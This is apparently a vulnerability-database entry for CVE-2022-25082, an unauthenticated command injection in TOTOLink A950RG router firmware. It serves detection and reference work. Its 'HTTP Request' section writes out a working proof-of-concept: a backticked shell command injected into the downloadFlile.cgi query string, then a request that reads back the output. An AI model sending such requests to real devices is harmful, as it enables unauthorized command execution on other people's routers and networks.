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CVE-2022-25082: TOTOLink - Unauthenticated Command Injection

TitleTOTOLink - Unauthenticated Command Injection
Authorgy741
SeverityCritical
ImpactSuccessful exploitation of this vulnerability can lead to unauthorized access, data leakage, and potential compromise of the entire network.
RemediationApply the latest firmware update provided by the vendor to fix the command injection vulnerability.
CVSS Score9.8
EPSS Score0.89173
CVE IDCVE-2022-25082
CWE IDCWE-78
Tags cve cve2022 totolink router unauth rce iot intrusive vkev vuln

🔍 Vulnerability Description

TOTOLink A950RG V5.9c.4050_B20190424 and V4.1.2cu.5204_B20210112 were discovered to contain a command injection vulnerability in the Main function. This vulnerability allows attackers to execute arbitrary commands via the QUERY_STRING parameter.

🌐 HTTP Request

GET /cgi-bin/downloadFlile.cgi?payload=`ls>../38F7ZBKtJhzOfgCeAp8e9RXLIhx` HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 11) AppleWebKit/619.23 (KHTML, like Gecko) Version/15.3.85 Safari/619.23
Connection: close
Accept-Encoding: gzip
GET /38F7ZBKtJhzOfgCeAp8e9RXLIhx HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.7 Mobile/15E148 Safari/604.1
Connection: close
Accept-Encoding: gzip

📚 References


🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2022/CVE-2022-25082.yaml

🦈 Packet Capture: ⬇️ Download cve-2022-25082.pcap

⚠️ Notice: These rules are for detection purposes. Please tune them before applying to a production environment.
Snort 2 Rule
N/A
Snort 3 Rule
N/A